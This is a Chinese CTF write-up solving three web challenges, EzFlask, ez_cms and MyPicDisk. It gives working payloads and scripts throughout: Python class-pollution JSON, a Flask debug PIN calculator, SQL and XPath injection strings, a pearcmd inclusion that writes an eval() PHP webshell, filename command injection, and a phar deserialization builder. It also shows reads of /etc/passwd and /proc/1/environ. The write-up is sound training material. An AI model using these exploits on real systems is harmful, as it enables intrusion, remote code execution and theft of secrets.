EzFlask
源码直接给了
Ctrl+U查看带缩进的源码
import uuid
from flask import Flask, request, session
# 导入黑名单列表
from secret import black_list
import json
app = Flask(__name__)
# 为 Flask 应用设置一个随机的 secret_key
app.secret_key = str(uuid.uuid4())
# 检查字符串中是否包含黑名单中的敏感字符
def check(data):
for i in black_list:
if i in data:
return False
return True
# 合并两个字典或对象
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
# 定义 user 类,用于存储用户信息
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
# 验证用户信息是否匹配
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
# 存储用户对象的列表
Users = []
# 注册用户的路由处理函数
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
# 检查请求数据是否合法
if not check(request.data):
return "Register Failed"
# 将请求数据解析为 JSON 对象,所以我们发包要用json格式
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user() # 创建 user 对象
merge(data, User) # 合并数据到 user 对象
Users.append(User) # 将 user 对象添加到用户列表中
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
# 登录的路由处理函数
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data) # 将请求数据解析为 JSON 对象
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data): # 验证用户信息是否匹配
session["username"] = data["username"] # 将用户名存储在会话中
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
# 主页的路由处理函数,用于返回当前文件的源代码
@app.route('/',methods=['GET'])
def index():
#__file__:全局变量,返回当前目录
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010) # 在指定的主机和端口上运行 Flask 应用
登录的账号密码是json格式
的POST请求。
审计题目源码,发现他最后会回显当前目录文件的内容(就是源码),我们可以修改全局变量__file__
,从而造成任意文件读取。
解法一:
题中源码有merge()函数,我们考虑python原型链污染。
参考:Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园 (cnblogs.com)
NodeJs原型链污染中,对象的__proto__
属性,指向这个对象所在的类的prototype
属性。如果我们修改了son.__proto__
中的值,就可以修改父类。
在Python中,所有以双下划线__
包起来的方法,统称为Magic Method(魔术方法),它是一种的特殊方法,普通方法需要调用,而魔术方法不需要调用就可以自动执行。
class A:
pass
print(dir(A)) # 可以得到类所有公有成员
__class__
方法用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 (题中可以不加)
__init__()
方法是一种特殊的方法,被称为类的构造函数或初始化方法(类似PHP中的__construct()),当创建了这个类的实例时就会调用该方法。
__globals__
对 保存函数全局变量的字典 的引用——定义函数的模块的全局命名空间。只读,但是可以修改无继承关系的类属性甚至全局变量
__file__
全局变量,返回当前文件路径(目录)
#globals辨析
secret_var = 114
def test():
pass
class a:
def __init__(self):
pass
print(test.__globals__ == globals() == a.__init__.__globals__)
#True
题目过滤了__init__
(构造函数)。
json识别unicode,我们可以用unicode绕过:\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F
也可以使用类中方法check
代替类中构造方法__init__
常见的linux系统下环境变量的路径:
/proc/1/environ (本题flag就在这里)
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.bashrc
/etc/bashrc
注:放在proc目录(3,4)下的环境变量配置文件,只会对当前用户起作用;在/etc下的环境变量所有的用户都起作用;
最后payload: (直接读取环境变量)
{
"username":"aaa",
"password":"bbb",
"__class__":{
"check":{
"__globals__":{
"__file__" : "/proc/1/environ"
}
}
}
}
Boogipop师傅的payload:
{
"username":1,
"password":1,
"__init\u005f_":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
}
}
看不懂,尝试了一下确实可行,又学到了。
在 Python 中,全局变量
app
和_static_folder
通常用于构建 Web 应用程序,并且这两者在 Flask 框架中经常使用。
app
全局变量:
app
是 Flask 应用的实例,是一个Flask
对象。通过创建app
对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。- Flask 应用实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过
app.route
装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。app
对象包含了大量的功能和方法,例如route
、run
、add_url_rule
等,这些方法用于处理请求和设置应用的各种配置。- 通过
app.run()
方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求。
_static_folder
全局变量:
_static_folder
是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。- 静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
- 在 Flask 中,可以通过
app.static_folder
属性来访问_static_folder
,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的static
文件夹中。- Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像。
综上所述,
app
和_static_folder
这两个全局变量在 Flask 应用中都扮演着重要的角色,app
是整个应用的核心实例,用于处理请求和设置应用的配置,而_static_folder
是用于指定静态文件的存放路径,使网页能够正确地加载和显示样式和图像。
/static/proc/1/environ
:由于"_static_folder":"/"把静态目录直接设置为了根目录,所以根目录下/proc/1/environ
可以通过访问静态目录/static/proc/1/environ
访问。
解法二:
boogipop师傅的博客说:题目是开启了flask的debug模式,访问console控制台,配合刚刚的任意文件读取算pin进行rce就行了。
访问/console
路由
PIN码
也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式
pin码生成要六要素:
1.username
通过getpass.getuser()读取或者通过文件读取/etc/passwd2.modname
通过getattr(mod,“file”,None)读取,默认值为flask.app3.appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask4.moddir
flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量5.uuidnode
mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算6.machine_id
机器码,每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id
或/proc/sys/kernel/random/boot_id
,docker靶机则读取/proc/self/cgroup
,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取。一般生成pin码不对就是这错了
python3.6采用MD5加密,3.8采用sha1加密。脚本们如下:
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
那就开始用 解法一 读取PIN值六要素
username:root
modname:默认值为flask.app
appname:默认值为Flask
moddir:/usr/local/lib/python3.10/site-packages/flask/app.py
uuidnode:4e:35:a1:94:9e:da
十进制是85992251104986
machine_id:96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope
其中,以docker
为界限。
96cec10d3d9307792745ec3b85c89620
在/proc/sys/kernel/random/boot_id
里面
docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope
在/proc/self/cgroup
里面
解题脚本来源:2023DASCTF&0X401 WriteUp (qq.com)
import hashlib
from itertools import chain
# 可能的公共部分,包括用户名、模块名、类名以及相关模块路径信息
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # appname
'/usr/local/lib/python3.10/site-packages/flask/app.py' # moddir
]
# 私有部分,包括一些唯一的标识信息
private_bits = [
'85992251104986', # uuidnode
'96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope' # machine_id
]
# 创建 SHA-1 哈希对象
h = hashlib.sha1()
# 将可能的公共部分和私有部分的信息串联在一起,并计算 SHA-1 哈希值
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
# 更新哈希值,使用 b'cookiesalt' 作为额外的盐值
h.update(b'cookiesalt')
# 构造 cookie 名称 '__wzd' + SHA-1 哈希值的前20位
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
# 如果 num 为空,则计算 num 值
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
# 如果 rv 为空,则根据 num 的长度进行格式化处理,组成带分隔符的字符串
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
# 打印结果
print(rv)
运行结果:960-245-355
成功进入控制台
获取flag
(3条消息) 关于ctf中flask算pin总结_丨Arcueid丨的博客-CSDN博客
(3条消息) Flask debug模式算pin码_flask pin码_Ys3ter的博客-CSDN博客
扩展练习:
CTFSHOW 801
[GYCTF2020]FlaskApp
HSCSEC-2TH EZFLASK
ez_cms
CMS是Content Management System的缩写,意为“内容管理系统”。
熊海CMS,版本1.0
(4条消息) 熊海(isea cms)代码审计漏洞总结_熊海靶场_Alexz__的博客-CSDN博客
(4条消息) 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)–文件包含漏洞_十三年*的博客-CSDN博客
熊海cms公开漏洞
一、后台越权登录admin用户
在cookie中直接添加user : admin字段,即可登录admin用户
也可以弱口令登录。
账号:admin 密码:123456
二、/admin后台登录中SQL注入
/admin/?r=login
【操作系统是Linux】
1' and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e))--
【爆库】
#information_schema,ctf,mysql,performance_scheme,sys
1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+
【爆ctf库的表】
#adword,content,download,imageset,interaction,link,manage,nav,navclass,seniorset,settings
1' and updatexml(1,substring(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctf'),0x7e),n,m),3) --+
【爆列/字段】
#~id,navclass,title,toutiao,autho
1' and extractvalue(1,substring(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='content')),1,50))--+
#id,ad1,ad2,ad3,date
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='adword')))--+
#id,title,keywords,description,i
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='download')))--+
#
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='imagese')))--+
三、文件包含漏洞
/?r=../../test/phpinfo
题目中复现不了,任意文件包含应该有过滤什么的。
四、存储型XSS
题目中可以复现,但是和SQL一样,无用
五、管理员界面CSRF删除文章
题目中可以复现,但是和SQL一样,无用
六、文件上传
管理员界面==》发布内容 有两个文件上传点。
左边那个上传点,会显示 上传失败!文件移动发生错误!
右边那个上传点,会显示目录创建失败。
文件上传从而注入一句话木马行不通。
七、任意文件下载
管理员界面= =》内容管理= =》下载列表= =》铅笔形状按钮。
我们可以修改下载的路径。
保存好后,点击绿色钩子按钮,点击电信或者联通下载即可下载对应文件。
经过测试发现,我们可以下载/etc/passwd
,但是无法下载环境变量所在的文件如/proc/1/environ
,有权限限制。
由六七两个文件方面的漏洞,推测出题人修改了部分文件/文件夹的权限,咱们无法使用网络上现成的攻击方法,需要另辟蹊径。
本题解题方法:
尝试第七点——任意文件下载,下载index.php
。
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
第四行addslashes()
函数做了过滤,因此无法使用伪协议。
第六行include('files/'.$action.'.php');
说明包含的时候拼接了.php
我们选择使用**pear文件包含
**
参考:
pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40_Jay 17的博客-CSDN博客
https://blog.csdn.net/Mrs_H/article/details/122386511
https://y4tacker.github.io/2022/06/19/year/2022/6/关于pearcmd利用总结/#闲话
https://blog.csdn.net/Mrs_H/article/details/122386511
https://blog.csdn.net/weixin_49656607/article/details/124005355
https://www.cnblogs.com/iwantflag/p/15602747.html
pear是PHP的一个扩展
PEAR扩展
全称:PHP Extension and Application Repository
PEAR扩展默认安装位置是: /usr/local/lib/php/
argv是数组,argc是数字。可通过var_dump($_SERVER);语句查看
argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元素是aaa和bbb,argc是数组的长度。&
符号无发分割参数,真正能分割参数的是+
,等号无法赋值,而是会直接被传进去当作参数。
php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
条件:
1 有文件包含点
2 开启了pear扩展 (可以当他是一个框架)
3 配置文件中register_argc_argv 设置为On,而默认为Off($_SERVER[‘argv’]生效)
4 找到pear文件的位置,默认位置是/usr/local/lib/php/pearcmd.php
pearcmd.php可以接受config-create
命令,阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
这题pear文件的路径与默认不一样,也算个坑。以下是别的师傅对于路径的寻找过程。
网上现成的payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php
这里被包含的参数file
需要换成r
。路径得换一下,换成/usr/share/php/pearcmd.php
。代码在r
传入的数据后,自动加了一个.php
,那我们路径就设置为/usr/share/php/pearcmd
就行了。以及test.php
在原文是提前准备好的,这里的Jay17.php
原先是不存在的,得出这里的文件如果不存在,是可以新建的。
payload:
?+config-create+/&r=../../../../../../../../usr/share/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/Jay17.php
之后,传入payload
访问根目录下/tmp/Jay17.php
,不要忘了r参数自动加一个.php
。
RCE获取flag。
MyPicDisk
开题是一个登录框
步骤一:登录
方法一:我们可以用万能密码登录
抓包改包,payload如下:
username=admin' or 1=1#&password=123456&submit=%E7%99%BB%E5%BD%95
方法二:XXE盲注 注出admin的密码
这里贴一个boogipop师傅的盲注脚本:
import requests
import time
url ='http://6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81/index.php'
strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
flag =''
for i in range(1,100):
for j in strs:
#猜测根节点名称 #accounts
# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123}
# payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测子节点名称 #user
# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
# payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测accounts的节点
# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)、
# payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
data={
"username":payload_username,
"password":123,
"submit":"1"
}
print(payload_username)
r = requests.post(url=url,data=data)
time.sleep(0.1)
# print(r.text)
if "登录成功" in r.text:
flag+=j
print(flag)
break
if "登录失败" in r.text:
break
print(flag)
跑出用户名是admin
,密码是003d7628772d6b57fec5f30ccbc82be1
。
密码看特征是MD5加密过的,在线网站解密一下。
CMD5,emmmm,楽。
还得是somd5
账号:admin
密码:15035371139
这个应该是预期解。其他两种方法,登录成功登录账户不是admin,会alert返回you are not admin!!!!!
。
方法三:
网上一个看不懂的payload:
username=admin'&password=admin'&submit=%E7%99%BB%E5%BD%95
暂时没想到原理。
登录成功后,在源码中看见提示,是y0u_cant_find_1t.zip
文件。
步骤二:获取源码
访问/y0u_cant_find_1t.zip
路由,下载源码,源码如下:
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>
步骤三:分析源码,解决session问题
注:如果选择XXE盲注出账号密码登录,步骤三不用看。
尝试了一下,登录之后是用session来判断是否登录成功的。比如我用正确的账号密码登录,此时session改成jay17
。
我浏览器里面session改为jay17
,就可以直接绕过登录,直接跳转到上传文件界面。
猜测后台是在用户登录成功后,储存用户session,下次登陆时比较用户session来判断用户是否登录成功过。
上文提到,除XXE盲注外其他两种方法,登录成功登录账户不是admin,会alert返回you are not admin!!!!!
。
同时,由代码片段66~78行
:
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
可以看出,如果登录的用户名不是admin
,会自动删除session(语句unset($_SESSION['user']);
),但是删完之后还会继续运行(72行echo之后
),只不过下一次运行时,由于没有session,不会进入这个else(66行
),导致下一次无法操作。
所以这里存在一个代码逻辑漏洞,使得我们非预期登录(不是XXE盲注),也能做题,也能利用漏洞得到flag。
我们只需,在==每次==操作之前(比如上传一个文件),burp发一个包,使我们session不为空,能执行else代码块(66行
)就行。操作之后,由于执行了else代码块(66行
),session又被删除了,所以下一次操作前又得发包,生成session。
burp包如下:
POST / HTTP/1.1
Host: 6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81
Content-Length: 64
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=xxx
Connection: close
username=admin' or 1=1 -- +&password=1&submit=%E7%99%BB%E5%BD%95
但是这里发包也有要求,发完之后回显的要是alert('登录成功!');
。此时就是执行了if代码段(44~65行
),生成了session。
但是这样一次一次生成session太麻烦了,建议,就算是非预期得到了源码,分析完源码得知有XXE盲注的可能之后,回去XXE盲注拿admin的密码重新登录。
步骤四:分析源码,进行RCE
源码没有libxml_disable_entity_loader(false);
语句,禁止外部实体载入。不能通过XXE来RCE。另寻他法。
方法一:字符串拼接执行命令。
重点看代码段30~32行
public function __destruct(){
system("ls -all ".$this->filename);
}
FILE类的析构方法会把命令和文件名拼接在一起然后执行。
当然源码对文件名也有所过滤。8~22行
构造方法,要求文件名不能包含斜杠 /
。点号.
只能出现一次(substr_count()函数作用是计算字符在字符串中出现的次数)。
73~78行
要求文件名中必须包含.(jpg|jpeg|gif|png|bmp)
,相当于白名单,只允许这四个后缀。
那么我们使文件名如下,就即绕过了过滤限制,又能执行命令了。
;`echo 命令的base64编码| base64 -d`;.jpg
payload:
先通过登录后的文件上传功能 或者 自己写表单上传图片。一定要上传图片,要不然下一步时,实例化的时候构造方法(__construct()
)获取不了图片大小和最后修改时间(20、21行
),导致报错而不执行析构方法(__destruct()
)。从而无法RCE。
然后通过?file=图片名
访问图片,传入?file=图片名
后会根据图片名实例化FILE类,执行里面的析构方法。
?file=;`echo Y2F0IC9hZGoq | base64 -d`;.jpg
方法二:phar反序列化
可利用代码段(99行
)
echo md5_file($filename);
一般参数是string形式的文件名称($filename)的函数,都可以用来解析phar。
所以,这个md5_file
函数可以解析phar文件。
同时,我们访问phar文件时,是通过GET方法提交?file=什么什么
,源代码没有对?file
进行过滤,我们可以使用使用phar协议phar://
。
此外,对于上传文件后缀的限制,phar://的伪协议,可以将任意后缀名的压缩包(原来是 .phar 或 .zip,注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行 ) 解包,从而可以通过上传压缩包绕过对后缀名的限制,再利用伪协议实现文件包含。那我们可以上传我们生成的phar文件,通过burp抓包使文件后缀名变为.jpg
总结一下,天时地利人和,我们可以使用phar反序列化来RCE。
注:前文提到过:实例化的时候构造方法(
__construct()
)获取不了图片大小和最后修改时间(20、21行
),导致报错而不执行析构方法(__destruct()
)。从而无法RCE。phar包里面的文件不存在,自然也没有大小,为什么不报错不影响析构方法(__destruct()
)执行呢。因为这里phar包传进去根本不触发构造方法(__construct()
),传进去是序列化字符串,构造方法在本地构造时触发过了。同理,phar包里面的文件名$filename(RCE的命令),因为不触发构造方法(
__construct()
),所以也不用绕过过滤了。
构造phar包脚本:
<?php
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}
$a = new FILE(";tac /adj*"); //源码不查phar里面的内容
$phar=new phar('xxx.phar');
$phar->startBuffering();
//往metaData里面放实例对象,使用phar协议读取phar包时,如果当前脚本识别了这个类(有这个类),会自动调用这个类的魔术方法
$phar->setMetadata($a);
//设置stub,固定写法
$phar->setStub("<?php __HALT_COMPILER();?>");
//添加要压缩的文件,这个文件没有也没关系,走个流程
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
将生成的phar包上传并且修改后缀。
这里需要手动访问,用phar
伪协议。todo=md5
是为了调用md5_file()
函数,函数用来解析phar
。
?file=phar://xxx.jpg&todo=md5
踩坑点:
字符集不要乱改,谢谢,卡了一晚上。其实也没啥事,不就是卡题吗,不就是生活吗,人活着哪有不疯的时候,不疯的人还活着吗。人又不是葱姜蒜西瓜茄子萝卜芒果猕猴桃。可能我是猴子呢!我是猴子!哈!嘿!吼!哈哈哈哈哈哈哈哈哈哈哈哈哈我是猴子,我不用卡题的(变成猿猴)(抢夺路人的香蕉)(飞入丛林)(在藤蔓中荡来荡去)(在藤蔓中荡来荡去)(在藤蔓中荡来荡去)(在藤蔓中荡来荡去)(高声吼叫)(高声吼叫)(在藤蔓中荡来荡去)(高声吼叫)(在藤蔓中荡来荡去)(高声吼叫)(在藤蔓中荡来荡去)